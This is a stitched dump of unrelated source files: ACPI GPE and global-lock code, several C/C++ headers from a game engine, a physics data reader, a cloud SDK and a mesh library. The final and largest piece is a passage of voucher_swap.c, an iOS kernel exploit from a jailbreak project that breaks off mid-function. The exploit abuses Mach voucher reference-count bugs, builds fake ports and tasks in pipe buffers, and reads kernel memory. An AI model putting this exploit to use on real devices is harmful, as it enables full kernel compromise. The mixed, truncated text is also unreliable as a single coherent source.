(ACPI_MTX_EVENTS); if (ACPI_FAILURE (Status)) { return_ACPI_STATUS (Status); } Flags = AcpiOsAcquireLock (AcpiGbl_GpeLock); /* Ensure that we have a valid GPE number */ GpeEventInfo = AcpiEvGetGpeEventInfo (GpeDevice, GpeNumber); if (!GpeEventInfo) { Status = AE_BAD_PARAMETER; goto UnlockAndExit; } /* Make sure that a handler is indeed installed */ if ((GpeEventInfo->Flags & ACPI_GPE_DISPATCH_MASK) != ACPI_GPE_DISPATCH_HANDLER) { Status = AE_NOT_EXIST; goto UnlockAndExit; } /* Make sure that the installed handler is the same */ if (GpeEventInfo->Dispatch.Handler->Address != Address) { Status = AE_BAD_PARAMETER; goto UnlockAndExit; } /* Remove the handler */ Handler = GpeEventInfo->Dispatch.Handler; /* Restore Method node (if any), set dispatch flags */ GpeEventInfo->Dispatch.MethodNode = Handler->MethodNode; GpeEventInfo->Flags &= ~(ACPI_GPE_XRUPT_TYPE_MASK | ACPI_GPE_DISPATCH_MASK); GpeEventInfo->Flags |= Handler->OriginalFlags; /* * If the GPE was previously associated with a method and it was * enabled, it should be enabled at this point to restore the * post-initialization configuration. */ if ((Handler->OriginalFlags & ACPI_GPE_DISPATCH_METHOD) && Handler->OriginallyEnabled) { (void) AcpiEvAddGpeReference (GpeEventInfo); } /* Now we can free the handler object */ ACPI_FREE (Handler); UnlockAndExit: AcpiOsReleaseLock (AcpiGbl_GpeLock, Flags); (void) AcpiUtReleaseMutex (ACPI_MTX_EVENTS); return_ACPI_STATUS (Status); } ACPI_EXPORT_SYMBOL (AcpiRemoveGpeHandler) /******************************************************************************* * * FUNCTION: AcpiAcquireGlobalLock * * PARAMETERS: Timeout - How long the caller is willing to wait * Handle - Where the handle to the lock is returned * (if acquired) * * RETURN: Status * * DESCRIPTION: Acquire the ACPI Global Lock * * Note: Allows callers with the same thread ID to acquire the global lock * multiple times. In other words, externally, the behavior of the global lock * is identical to an AML mutex. On the first acquire, a new handle is * returned. On any subsequent calls to acquire by the same thread, the same * handle is returned. * ******************************************************************************/ ACPI_STATUS AcpiAcquireGlobalLock ( UINT16 Timeout, UINT32 *Handle) { ACPI_STATUS Status; if (!Handle) { return (AE_BAD_PARAMETER); } /* Must lock interpreter to prevent race conditions */ AcpiExEnterInterpreter (); Status = AcpiExAcquireMutexObject (Timeout, AcpiGbl_GlobalLockMutex, AcpiOsGetThreadId ()); if (ACPI_SUCCESS (Status)) { /* Return the global lock handle (updated in AcpiEvAcquireGlobalLock) */ *Handle = AcpiGbl_GlobalLockHandle; } AcpiExExitInterpreter (); return (Status); } ACPI_EXPORT_SYMBOL (AcpiAcquireGlobalLock) /******************************************************************************* * * FUNCTION: AcpiReleaseGlobalLock * * PARAMETERS: Handle - Returned from AcpiAcquireGlobalLock * * RETURN: Status * * DESCRIPTION: Release the ACPI Global Lock. The handle must be valid. * ******************************************************************************/ ACPI_STATUS AcpiReleaseGlobalLock ( UINT32 Handle) { ACPI_STATUS Status; if (!Handle || (Handle != AcpiGbl_GlobalLockHandle)) { return (AE_NOT_ACQUIRED); } Status = AcpiExReleaseMutexObject (AcpiGbl_GlobalLockMutex); return (Status); } ACPI_EXPORT_SYMBOL (AcpiReleaseGlobalLock) #endif /* !ACPI_REDUCED_HARDWARE */
28.142562
80
0.578115
[ "object" ]
cf601be7d1d6aae43fec2b4b13f515e5b477391c
1,090
h
C
src/engine/src/world.h
cstom4994/SourceEngineRebuild
edfd7f8ce8af13e9d23586318350319a2e193c08
[ "MIT" ]
6
2022-01-23T09:40:33.000Z
2022-03-20T20:53:25.000Z
src/engine/src/world.h
cstom4994/SourceEngineRebuild
edfd7f8ce8af13e9d23586318350319a2e193c08
[ "MIT" ]
null
null
null
src/engine/src/world.h
cstom4994/SourceEngineRebuild
edfd7f8ce8af13e9d23586318350319a2e193c08
[ "MIT" ]
1
2022-02-06T21:05:23.000Z
2022-02-06T21:05:23.000Z
//========= Copyright Valve Corporation, All rights reserved. ============// // // Purpose: // // $NoKeywords: $ // //=============================================================================// // world.h #ifndef WORLD_H #define WORLD_H #ifdef _WIN32 #pragma once #endif struct edict_t; class ICollideable; void SV_ClearWorld(void); // called after the world model has been loaded, before linking any entities void SV_SolidMoved(edict_t *pSolidEnt, ICollideable *pSolidCollide, const Vector *pPrevAbsOrigin, bool testSurroundingBoundsOnly); void SV_TriggerMoved(edict_t *pTriggerEnt, bool testSurroundingBoundsOnly); // Needs to be called any time an entity changes origin, mins, maxs, or solid // flags ent->v.modified // sets ent->v.absmin and ent->v.absmax // if touchtriggers, calls prog functions for the intersected triggers // This is to temporarily remove an object from the collision tree. // Unlink returns a handle we have to use to relink int SV_FastUnlink(edict_t *ent); void SV_FastRelink(edict_t *ent, int tempHandle); #endif // WORLD_H
25.348837
97
0.676147
[ "object", "vector", "model", "solid" ]
cf60a3cbff5e59bb01083370365f3db3a9d73847
1,621
h
C
ldfReader/iterators/TkrParser.h
fermi-lat/ldfReader
822541f52540cc1e5364b2d93f5fc94aa5b177fc
[ "BSD-3-Clause" ]
null
null
null
ldfReader/iterators/TkrParser.h
fermi-lat/ldfReader
822541f52540cc1e5364b2d93f5fc94aa5b177fc
[ "BSD-3-Clause" ]
null
null
null
ldfReader/iterators/TkrParser.h
fermi-lat/ldfReader
822541f52540cc1e5364b2d93f5fc94aa5b177fc
[ "BSD-3-Clause" ]
null
null
null
#ifndef TKRPARSER_H #define TKRPARSER_H 1 // $Header: /nfs/slac/g/glast/ground/cvs/GlastRelease-scons/ldfReader/src/iterators/TkrParser.h,v 1.3 2008/10/03 03:39:18 heather Exp $ #include "TKRcontributionIterator.h" #include "ldfReader/data/TowerData.h" #include <string> /** @class TkrParser * @brief The specific callbacks for the TKR. * * Handles the parsing of the TKR data. The parse routine is called which initiates the * callbacks: strips and ToT. The data is then stored in our local static object which is * used to share the data with clients of ldfReader. */ namespace ldfReader { class TkrParser : public virtual TKRcontributionIterator { public: TkrParser(const char* prefix); TkrParser(ldfReader::TowerData* tData, const char* prefix); virtual ~TkrParser() {} // Even newer, as of 03-00-00 // NOTE: 2nd argument in strip(..) changed from "layer" to // "layerEnd". Compatible with local copy of EBF library, // but not yet with standard Online version virtual void strip(unsigned tower, unsigned layerEnd, unsigned hit); virtual void TOT (unsigned tower, unsigned layerEnd, unsigned tot); // Unused with EBF library v3 and later //static void setInstrument(const std::string& ) {} virtual int handleError(TKRcontribution*, unsigned code, unsigned p1=0, unsigned p2=0) const; protected : virtual void _handleErrorCommon() const = 0; private: const char* m_prefix; ldfReader::TowerData *m_tData; }; } #endif
31.784314
135
0.66934
[ "object" ]
cf63fb9cd141e0af6d2966757d050a5960902049
5,185
h
C
emr/include/alibabacloud/emr/model/DescribeClusterV2Result.h
sdk-team/aliyun-openapi-cpp-sdk
d0e92f6f33126dcdc7e40f60582304faf2c229b7
[ "Apache-2.0" ]
3
2020-01-06T08:23:14.000Z
2022-01-22T04:41:35.000Z
emr/include/alibabacloud/emr/model/DescribeClusterV2Result.h
sdk-team/aliyun-openapi-cpp-sdk
d0e92f6f33126dcdc7e40f60582304faf2c229b7
[ "Apache-2.0" ]
null
null
null
emr/include/alibabacloud/emr/model/DescribeClusterV2Result.h
sdk-team/aliyun-openapi-cpp-sdk
d0e92f6f33126dcdc7e40f60582304faf2c229b7
[ "Apache-2.0" ]
null
null
null
/* * Copyright 2009-2017 Alibaba Cloud All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef ALIBABACLOUD_EMR_MODEL_DESCRIBECLUSTERV2RESULT_H_ #define ALIBABACLOUD_EMR_MODEL_DESCRIBECLUSTERV2RESULT_H_ #include <string> #include <vector> #include <utility> #include <alibabacloud/core/ServiceResult.h> #include <alibabacloud/emr/EmrExport.h> namespace AlibabaCloud { namespace Emr { namespace Model { class ALIBABACLOUD_EMR_EXPORT DescribeClusterV2Result : public ServiceResult { public: struct ClusterInfo { struct RelateClusterInfo { std::string status; std::string clusterId; std::string clusterName; }; struct FailReason { std::string requestId; std::string errorMsg; std::string errorCode; }; struct SoftwareInfo { struct Software { int startTpe; std::string version; std::string displayName; bool onlyDisplay; std::string name; }; std::vector<Software> softwares; std::string emrVer; std::string clusterType; }; struct AccessInfo { struct ZKLink { std::string port; std::string link; }; std::vector<ZKLink> zKLinks; }; struct GatewayClusterInfo { std::string status; std::string clusterId; std::string clusterName; }; struct HostGroup { struct Node { struct DaemonInfo { std::string name; }; struct DiskInfo { std::string type; std::string device; int size; std::string diskName; std::string diskId; }; std::string status; std::string zoneId; std::string innerIp; std::vector<Node::DaemonInfo> daemonInfos; std::string instanceId; std::string expiredTime; std::string createTime; std::string pubIp; std::string emrExpiredTime; bool supportIpV6; std::vector<Node::DiskInfo> diskInfos; }; std::string hostGroupType; std::string hostGroupSubType; std::string hostGroupChangeType; int diskCount; std::string hostGroupChangeStatus; int nodeCount; std::string period; int memoryCapacity; std::string hostGroupName; std::string lockType; std::vector<HostGroup::Node> nodes; std::string diskType; std::string bandWidth; int diskCapacity; std::string hostGroupId; std::string chargeType; int cpuCore; std::string instanceType; std::string lockReason; }; struct BootstrapAction { std::string path; std::string arg; std::string name; }; int taskNodeInService; bool showSoftwareInterface; int coreNodeInService; std::vector<BootstrapAction> bootstrapActionList; bool resizeDiskEnable; FailReason failReason; std::string name; bool highAvailabilityEnable; long expiredTime; std::string createType; std::string imageId; bool autoScalingSpotWithLimitAllowed; std::string userDefinedEmrEcsRole; bool autoScalingAllowed; long stopTime; std::string status; std::string createResource; bool bootstrapFailed; std::string vSwitchId; std::string depositType; long startTime; std::vector<GatewayClusterInfo> gatewayClusterInfoList; int period; bool easEnable; std::string vpcId; std::vector<HostGroup> hostGroupList; std::string id; SoftwareInfo softwareInfo; std::string securityGroupName; bool logEnable; int masterNodeInService; RelateClusterInfo relateClusterInfo; std::string relateClusterId; bool autoScalingByLoadAllowed; int coreNodeTotal; std::string configurations; std::string netType; bool localMetaDb; std::string gatewayClusterIds; bool ioOptimized; std::string zoneId; std::string securityGroupId; int taskNodeTotal; AccessInfo accessInfo; int masterNodeTotal; std::string userId; std::string chargeType; bool autoScalingEnable; std::string instanceGeneration; std::string regionId; std::string logPath; int runningTime; }; DescribeClusterV2Result(); explicit DescribeClusterV2Result(const std::string &payload); ~DescribeClusterV2Result(); ClusterInfo getClusterInfo()const; protected: void parse(const std::string &payload); private: ClusterInfo clusterInfo_; }; } } } #endif // !ALIBABACLOUD_EMR_MODEL_DESCRIBECLUSTERV2RESULT_H_
25.79602
79
0.654388
[ "vector", "model" ]
cf677304041e8852ca20a271b85001cdacc48490
1,102
c
C
packages/seacas/libraries/exodus/src/deprecated/ex_get_n_attr.c
jschueller/seacas
14c34ae08b757cba43a3a03ec0f129c8a168a9d3
[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "NetCDF", "BSL-1.0", "X11", "BSD-3-Clause" ]
1,755
2015-01-03T06:55:00.000Z
2022-03-29T05:23:26.000Z
packages/seacas/libraries/exodus/src/deprecated/ex_get_n_attr.c
jschueller/seacas
14c34ae08b757cba43a3a03ec0f129c8a168a9d3
[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "NetCDF", "BSL-1.0", "X11", "BSD-3-Clause" ]
206
2015-11-20T01:57:47.000Z
2022-03-31T21:12:04.000Z
packages/seacas/libraries/exodus/src/deprecated/ex_get_n_attr.c
jschueller/seacas
14c34ae08b757cba43a3a03ec0f129c8a168a9d3
[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "NetCDF", "BSL-1.0", "X11", "BSD-3-Clause" ]
1,044
2015-01-05T22:48:27.000Z
2022-03-31T02:38:26.000Z
/* * Copyright(C) 1999-2020 National Technology & Engineering Solutions * of Sandia, LLC (NTESS). Under the terms of Contract DE-NA0003525 with * NTESS, the U.S. Government retains certain rights in this software. * * See packages/seacas/LICENSE for details */ #include "exodusII.h" // for ex_get_partial_attr, etc /*! * \deprecated Use ex_get_partial_attr()(exoid, obj_type, obj_id, start_num, num_ent, attrib) * instead reads the specified attribute for a subsect of a block \param exoid exodus * file id \param obj_type object type (edge, face, elem block) \param obj_id * object id (edge, face, elem block ID) \param start_num the starting index of the * attributes to be returned. \param num_ent the number of entities to read attributes * for. \param attrib array of attributes */ /* */ int ex_get_n_attr(int exoid, ex_entity_type obj_type, ex_entity_id obj_id, int64_t start_num, int64_t num_ent, void *attrib) { return ex_get_partial_attr(exoid, obj_type, obj_id, start_num, num_ent, attrib); }
40.814815
98
0.697822
[ "object" ]
cf702ca452d3650f15d77d942cb92a77b5518e53
1,402
h
C
src/asset/objloader/mtl_loader.h
krait-games/hyperion-engine
5c52085658630fbf0992f794ecfcb25325b80b1c
[ "MIT" ]
21
2022-01-23T15:20:59.000Z
2022-03-31T22:10:14.000Z
src/asset/objloader/mtl_loader.h
krait-games/hyperion-engine
5c52085658630fbf0992f794ecfcb25325b80b1c
[ "MIT" ]
2
2022-01-30T22:24:58.000Z
2022-03-28T02:37:07.000Z
src/asset/objloader/mtl_loader.h
krait-games/hyperion-engine
5c52085658630fbf0992f794ecfcb25325b80b1c
[ "MIT" ]
2
2022-02-10T13:55:26.000Z
2022-03-31T22:10:16.000Z
#ifndef MTL_LOADER_H #define MTL_LOADER_H #include "../asset_loader.h" #include "../../rendering/material.h" #include <vector> #include <utility> #include <algorithm> #include <string> #include <algorithm> #define HYPERION_MTL_USE_THREADS 0 namespace hyperion { class MtlLib : public Loadable { public: virtual ~MtlLib() = default; inline void NewMaterial(const std::string &name) { m_materials.push_back({ name, std::make_shared<Material>() }); } inline Material *GetMaterial(const std::string &name) { const auto it = std::find_if(m_materials.begin(), m_materials.end(), [name](auto &p) { return p.first == name; }); if (it == m_materials.end()) { return nullptr; } return it->second.get(); } inline Material *GetLastMaterial() { if (m_materials.empty()) { return nullptr; } return m_materials.back().second.get(); } virtual std::shared_ptr<Loadable> Clone() override; private: std::vector<std::pair<std::string, std::shared_ptr<Material>>> m_materials; }; class MtlLoader : public AssetLoader { public: virtual ~MtlLoader() = default; std::shared_ptr<Loadable> LoadFromFile(const std::string &) override; private: std::shared_ptr<Texture> LoadTexture(const std::string &name, const std::string &path); }; } #endif
21.242424
94
0.636947
[ "vector" ]
cf727537fa98e29958118e7adc759a91e92e86bf
44,380
c
C
rootlessJB/exploit/voucher_swap/voucher_swap.c
xSpiral/A12-iOS-Jailbreak
4bdcdcc82245bb86a8f559e5620e0f40b79514e2
[ "MIT" ]
45
2019-02-26T13:44:17.000Z
2021-09-21T14:38:14.000Z
rootlessJB/exploit/voucher_swap/voucher_swap.c
winningbond/A12-iOS-Jailbreak
7ab41a4e86132b06a1cbfc8fc3cb2b1de61bc77d
[ "MIT" ]
null
null
null
rootlessJB/exploit/voucher_swap/voucher_swap.c
winningbond/A12-iOS-Jailbreak
7ab41a4e86132b06a1cbfc8fc3cb2b1de61bc77d
[ "MIT" ]
6
2019-02-26T07:46:56.000Z
2019-07-26T08:28:31.000Z
/* * voucher_swap.c * Brandon Azad */ #include "voucher_swap.h" #include <assert.h> #include <mach/mach.h> #include <stdlib.h> #include <unistd.h> #include "ipc_port.h" #include "kernel_alloc.h" #include "kernel_memory.h" #include "kernel_slide.h" #include "log.h" #include "mach_vm.h" #include "parameters.h" #include "platform.h" // ---- Global parameters ------------------------------------------------------------------------- #include "jelbrekLib.h" // The size of our fake task. // // This needs to be updated if the task offsets in parameters.h grow. #define FAKE_TASK_SIZE 0x380 // ---- Global state ------------------------------------------------------------------------------ // Stash the host port for create_voucher(). mach_port_t host; // The base port. This port is located at a fixed offset from the fake port. mach_port_t base_port; // The fake port. This is a send right to a port that overlaps our pipe buffer, so we can control // its contents. mach_port_t fake_port; // The read/write file descriptors for the pipe whose buffer overlaps fake_port. int pipefds[2]; // The contents of the pipe buffer. void *pipe_buffer; // The size of the pipe buffer. size_t pipe_buffer_size; // The offset of the fake port in the pipe buffer. size_t fake_port_offset; // The offset of the fake task in the pipe buffer. size_t fake_task_offset; // The address of base_port. uint64_t base_port_address; // The address of fake_port. uint64_t fake_port_address; // The address of the pipe buffer. uint64_t pipe_buffer_address; // ---- Voucher functions ------------------------------------------------------------------------- /* * create_voucher * * Description: * Create a Mach voucher. If id is unique, then this will be a unique voucher (until another * call to this function with the same id). * * A Mach voucher port for the voucher is returned. A fresh voucher has 1 voucher reference * and a voucher port that has 2 references and 1 send right. */ static mach_port_t create_voucher(uint64_t id) { assert(host != MACH_PORT_NULL); static uint64_t uniqueness_token = 0; if (uniqueness_token == 0) { uniqueness_token = (((uint64_t)arc4random()) << 32) | getpid(); } mach_port_t voucher = MACH_PORT_NULL; #pragma clang diagnostic push #pragma clang diagnostic ignored "-Wgnu-variable-sized-type-not-at-end" struct __attribute__((packed)) { mach_voucher_attr_recipe_data_t user_data_recipe; uint64_t user_data_content[2]; } recipes = {}; #pragma clang diagnostic pop recipes.user_data_recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA; recipes.user_data_recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE; recipes.user_data_recipe.content_size = sizeof(recipes.user_data_content); recipes.user_data_content[0] = uniqueness_token; recipes.user_data_content[1] = id; kern_return_t kr = host_create_mach_voucher( host, (mach_voucher_attr_raw_recipe_array_t) &recipes, sizeof(recipes), &voucher); assert(kr == KERN_SUCCESS); assert(MACH_PORT_VALID(voucher)); return voucher; } /* * voucher_tweak_references * * Description: * Use the task_swap_mach_voucher() vulnerabilities to modify the reference counts of 2 * vouchers. */ static void voucher_tweak_references(mach_port_t release_voucher, mach_port_t reference_voucher) { // Call task_swap_mach_voucher() to tweak the reference counts (two bugs in one!). mach_port_t inout_voucher = reference_voucher; kern_return_t kr = task_swap_mach_voucher(mach_task_self(), release_voucher, &inout_voucher); if (kr != KERN_SUCCESS) { ERROR("%s returned %d: %s", "task_swap_mach_voucher", kr, mach_error_string(kr)); } // At this point we've successfully tweaked the voucher reference counts, but our port // reference counts might be messed up because of the voucher port returned in // inout_voucher! We need to deallocate it (it's extra anyways, since // task_swap_mach_voucher() doesn't swallow the existing send rights). if (kr == KERN_SUCCESS && MACH_PORT_VALID(inout_voucher)) { kr = mach_port_deallocate(mach_task_self(), inout_voucher); assert(kr == KERN_SUCCESS); } } /* * voucher_reference * * Description: * Add a reference to the voucher represented by the voucher port. */ static void voucher_reference(mach_port_t voucher) { voucher_tweak_references(MACH_PORT_NULL, voucher); } /* * voucher_release * * Description: * Release a reference on the voucher represented by the voucher port. */ static void voucher_release(mach_port_t voucher) { voucher_tweak_references(voucher, MACH_PORT_NULL); } /* * create_unique_voucher * * Description: * Create a unique voucher. See create_voucher(). */ static mach_port_t create_unique_voucher() { static uint64_t unique_voucher_id = 0; return create_voucher(++unique_voucher_id); } /* * voucher_spray * * Description: * Spray a large number of Mach vouchers. Note that creating a Mach voucher also creates an * associated Mach port. */ static mach_port_t * voucher_spray(size_t count) { mach_port_t *voucher_ports = calloc(count, sizeof(*voucher_ports)); assert(voucher_ports != NULL); for (size_t i = 0; i < count; i++) { voucher_ports[i] = create_unique_voucher(); } return voucher_ports; } /* * voucher_spray_free * * Description: * Free all the Mach vouchers (and Mach ports) in a voucher spray. */ static void voucher_spray_free(mach_port_t *voucher_ports, size_t count) { for (size_t i = 0; i < count; i++) { if (MACH_PORT_VALID(voucher_ports[i])) { mach_port_deallocate(mach_task_self(), voucher_ports[i]); } } free(voucher_ports); } // ---- Helpers ----------------------------------------------------------------------------------- /* * fail * * Description: * Abort the exploit. */ static _Noreturn void fail() { fflush(stdout); sleep(1); exit(1); } /* * iterate_ipc_vouchers_via_mach_ports * * Description: * A utility function to help iterate over an array of Mach ports as an array of vouchers in * zalloc blocks. */ static void iterate_ipc_vouchers_via_mach_ports(size_t port_count, void (^callback)(size_t voucher_start)) { size_t ports_size = port_count * sizeof(uint64_t); size_t ports_per_block = BLOCK_SIZE(ipc_voucher) / sizeof(uint64_t); size_t ports_per_voucher = SIZE(ipc_voucher) / sizeof(uint64_t); // Iterate through each block. size_t block_count = (ports_size + BLOCK_SIZE(ipc_voucher) - 1) / BLOCK_SIZE(ipc_voucher); for (size_t block = 0; block < block_count; block++) { // Iterate through each voucher in this block. size_t voucher_count = ports_size / SIZE(ipc_voucher); if (voucher_count > COUNT_PER_BLOCK(ipc_voucher)) { voucher_count = COUNT_PER_BLOCK(ipc_voucher); } for (size_t voucher = 0; voucher < voucher_count; voucher++) { callback(ports_per_block * block + ports_per_voucher * voucher); } ports_size -= BLOCK_SIZE(ipc_voucher); } } /* * iterate_ipc_ports * * Description: * A utility function to help iterate over data as an array of ipc_port structs in zalloc * blocks. */ static void iterate_ipc_ports(size_t size, void (^callback)(size_t port_offset, bool *stop)) { // Iterate through each block. size_t block_count = (size + BLOCK_SIZE(ipc_port) - 1) / BLOCK_SIZE(ipc_port); bool stop = false; for (size_t block = 0; !stop && block < block_count; block++) { // Iterate through each port in this block. size_t port_count = size / SIZE(ipc_port); if (port_count > COUNT_PER_BLOCK(ipc_port)) { port_count = COUNT_PER_BLOCK(ipc_port); } for (size_t port = 0; !stop && port < port_count; port++) { callback(BLOCK_SIZE(ipc_port) * block + SIZE(ipc_port) * port, &stop); } size -= BLOCK_SIZE(ipc_port); } } /* * read_pipe * * Description: * Read the pipe's contents. The last byte can not be retrieved. */ static void read_pipe() { assert(pipefds[0] != pipefds[1]); size_t read_size = pipe_buffer_size - 1; ssize_t count = read(pipefds[0], pipe_buffer, read_size); if (count == read_size) { return; } else if (count == -1) { ERROR("could not read pipe buffer"); } else if (count == 0) { ERROR("pipe is empty"); } else { ERROR("partial read %zu of %zu bytes", count, read_size); } fail(); } /* * write_pipe * * Description: * Write the pipe's contents. The last byte can not be written. */ static void write_pipe() { assert(pipefds[0] != pipefds[1]); size_t write_size = pipe_buffer_size - 1; ssize_t count = write(pipefds[1], pipe_buffer, write_size); if (count == write_size) { return; } else if (count < 0) { ERROR("could not write pipe buffer"); } else if (count == 0) { ERROR("pipe is full"); } else { ERROR("partial write %zu of %zu bytes", count, write_size); } fail(); } /* * mach_port_waitq_flags * * Description: * Build the flags value for the waitq embedded in a Mach port. Interestingly, the rest of the * waitq (including the next/prev pointers) need not be valid: if waitq_irq is set, then a * global waitq will be used instead of the embedded one. */ static inline uint32_t mach_port_waitq_flags() { union waitq_flags waitq_flags = {}; waitq_flags.waitq_type = WQT_QUEUE; waitq_flags.waitq_fifo = 1; waitq_flags.waitq_prepost = 0; waitq_flags.waitq_irq = 0; waitq_flags.waitq_isvalid = 1; waitq_flags.waitq_turnstile_or_port = 1; return waitq_flags.flags; } // A message to stash a value in kernel memory. struct fake_task_msg { mach_msg_header_t header; uint8_t task_data[FAKE_TASK_SIZE]; }; /* * stage0_send_fake_task_message * * Description: * Send a fake task_t in a message to the fake port. */ static void stage0_send_fake_task_message(uint64_t proc, uint64_t *offset_from_kmsg_to_fake_task) { // Create the message containing the fake task. struct fake_task_msg msg = {}; msg.header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, 0); msg.header.msgh_remote_port = fake_port; msg.header.msgh_size = sizeof(msg); msg.header.msgh_id = 'task'; uint8_t *fake_task = msg.task_data; memset(fake_task, 0xab, sizeof(msg.task_data)); *(uint64_t *)(fake_task + OFFSET(task, ref_count)) = 2; *(uint64_t *)(fake_task + OFFSET(task, bsd_info)) = proc; // Send the message to the port. kern_return_t kr = mach_msg( &msg.header, MACH_SEND_MSG | MACH_SEND_TIMEOUT, sizeof(msg), 0, MACH_PORT_NULL, 0, MACH_PORT_NULL); if (kr != KERN_SUCCESS) { ERROR("%s returned %d: %s", "mach_msg", kr, mach_error_string(kr)); ERROR("could not send fake task message"); fail(); } // Now figure out the address of the fake task inside the message. // +-----------------+---+--------+------+---------+ // | struct ipc_kmsg | | header | task | trailer | // +-----------------+---+--------+------+---------+ size_t kalloc_size = kalloc_size_for_message_size(sizeof(msg)); *offset_from_kmsg_to_fake_task = kalloc_size - MAX_TRAILER_SIZE - sizeof(msg.task_data); } /* * stage0_read32 * * Description: * Read a 32-bit value from memory using our fake port. * * Note that this is the very first read primitive we get, before we know the address of the * pipe buffers. Each 32-bit read leaks an ipc_kmsg. We'll want to use this primitive to get * the address of our pipe buffers as quickly as possible. * * This routine performs 2 full pipe transfers, starting with a read. */ static uint32_t stage0_read32(uint64_t address, uint64_t *kmsg) { // Do a read to make the pipe available for a write. read_pipe(); // Initialize the port as a regular Mach port that's empty and has room for 1 message. uint8_t *fake_port_data = (uint8_t *) pipe_buffer + fake_port_offset; FIELD(fake_port_data, ipc_port, ip_bits, uint32_t) = io_makebits(1, IOT_PORT, IKOT_NONE); FIELD(fake_port_data, ipc_port, waitq_flags, uint32_t) = mach_port_waitq_flags(); FIELD(fake_port_data, ipc_port, imq_messages, uint64_t) = 0; FIELD(fake_port_data, ipc_port, imq_msgcount, uint16_t) = 0; FIELD(fake_port_data, ipc_port, imq_qlimit, uint16_t) = 1; write_pipe(); // We'll pretend that the 32-bit value we want to read is the p_pid field of a proc struct. // Then, we'll get a pointer to that fake proc at a known address in kernel memory by // sending the pointer to the fake proc in a Mach message to the fake port. uint64_t fake_proc_address = address - OFFSET(proc, p_pid); uint64_t offset_from_kmsg_to_fake_task; stage0_send_fake_task_message(fake_proc_address, &offset_from_kmsg_to_fake_task); // Read back the port contents to get the address of the ipc_kmsg containing our fake proc // pointer. read_pipe(); uint64_t kmsg_address = FIELD(fake_port_data, ipc_port, imq_messages, uint64_t); *kmsg = kmsg_address; // Now rewrite the port as a fake task port pointing to our fake task. uint64_t fake_task_address = kmsg_address + offset_from_kmsg_to_fake_task; FIELD(fake_port_data, ipc_port, ip_bits, uint32_t) = io_makebits(1, IOT_PORT, IKOT_TASK); FIELD(fake_port_data, ipc_port, ip_kobject, uint64_t) = fake_task_address; write_pipe(); // Now use pid_for_task() to read our value. int pid = -1; kern_return_t kr = pid_for_task(fake_port, &pid); if (kr != KERN_SUCCESS) { ERROR("%s returned %d: %s", "pid_for_task", kr, mach_error_string(kr)); ERROR("could not read kernel memory in stage %d using %s", 0, "pid_for_task"); fail(); } return (uint32_t) pid; } /* * stage0_read64 * * Description: * Read a 64-bit value from kernel memory using our stage 0 read primitive. * * 2 ipc_kmsg allocations will be leaked. */ static uint64_t stage0_read64(uint64_t address, uint64_t *kmsgs) { union { uint32_t value32[2]; uint64_t value64; } u; u.value32[0] = stage0_read32(address, &kmsgs[0]); u.value32[1] = stage0_read32(address + 4, &kmsgs[1]); return u.value64; } /* * stage1_read32 * * Description: * Read a 32-bit value from kernel memory using our fake port. * * This primitive requires that we know the address of the pipe buffer containing our port. */ static uint32_t stage1_read32(uint64_t address) { // Do a read to make the pipe available for a write. read_pipe(); // Create our fake task. The task's proc's p_pid field overlaps with the address we want to // read. uint64_t fake_proc_address = address - OFFSET(proc, p_pid); uint64_t fake_task_address = pipe_buffer_address + fake_task_offset; uint8_t *fake_task = (uint8_t *) pipe_buffer + fake_task_offset; FIELD(fake_task, task, ref_count, uint64_t) = 2; FIELD(fake_task, task, bsd_info, uint64_t) = fake_proc_address; // Initialize the port as a fake task port pointing to our fake task. uint8_t *fake_port_data = (uint8_t *) pipe_buffer + fake_port_offset; FIELD(fake_port_data, ipc_port, ip_bits, uint32_t) = io_makebits(1, IOT_PORT, IKOT_TASK); FIELD(fake_port_data, ipc_port, ip_kobject, uint64_t) = fake_task_address; // Write our buffer to kernel memory. write_pipe(); // Now use pid_for_task() to read our value. int pid = -1; kern_return_t kr = pid_for_task(fake_port, &pid); if (kr != KERN_SUCCESS) { ERROR("%s returned %d: %s", "pid_for_task", kr, mach_error_string(kr)); ERROR("could not read kernel memory in stage %d using %s", 1, "pid_for_task"); fail(); } return (uint32_t) pid; } /* * stage1_read64 * * Description: * Read a 64-bit value from kernel memory using our stage 1 read primitive. */ static uint64_t stage1_read64(uint64_t address) { union { uint32_t value32[2]; uint64_t value64; } u; u.value32[0] = stage1_read32(address); u.value32[1] = stage1_read32(address + 4); return u.value64; } /* * stage1_find_port_address * * Description: * Get the address of a Mach port to which we hold a send right. */ static uint64_t stage1_find_port_address(mach_port_t port) { // Create the message. We'll place a send right to the target port in msgh_local_port. mach_msg_header_t msg = {}; msg.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, MACH_MSG_TYPE_COPY_SEND, 0, 0); msg.msgh_remote_port = base_port; msg.msgh_local_port = port; msg.msgh_size = sizeof(msg); msg.msgh_id = 'port'; // Send the message to the base port. kern_return_t kr = mach_msg( &msg, MACH_SEND_MSG | MACH_SEND_TIMEOUT, sizeof(msg), 0, MACH_PORT_NULL, 0, MACH_PORT_NULL); if (kr != KERN_SUCCESS) { ERROR("%s returned %d: %s", "mach_msg", kr, mach_error_string(kr)); ERROR("could not stash our port in a message to the base port"); fail(); } // Read the address of the kmsg. uint64_t base_port_imq_messages = base_port_address + OFFSET(ipc_port, imq_messages); uint64_t kmsg = stage1_read64(base_port_imq_messages); // Read the message's msgh_local_port field to get the address of the target port. // +-----------------+---+--------+---------+ // | struct ipc_kmsg | | header | trailer | // +-----------------+---+--------+---------+ uint64_t msgh_local_port = kmsg + ipc_kmsg_size_for_message_size(sizeof(msg)) - MAX_TRAILER_SIZE - (sizeof(mach_msg_header_t) + MACH_HEADER_SIZE_DELTA) + (sizeof(uint32_t) + sizeof(uint32_t) + sizeof(uint64_t)); uint64_t port_address = stage1_read64(msgh_local_port); // 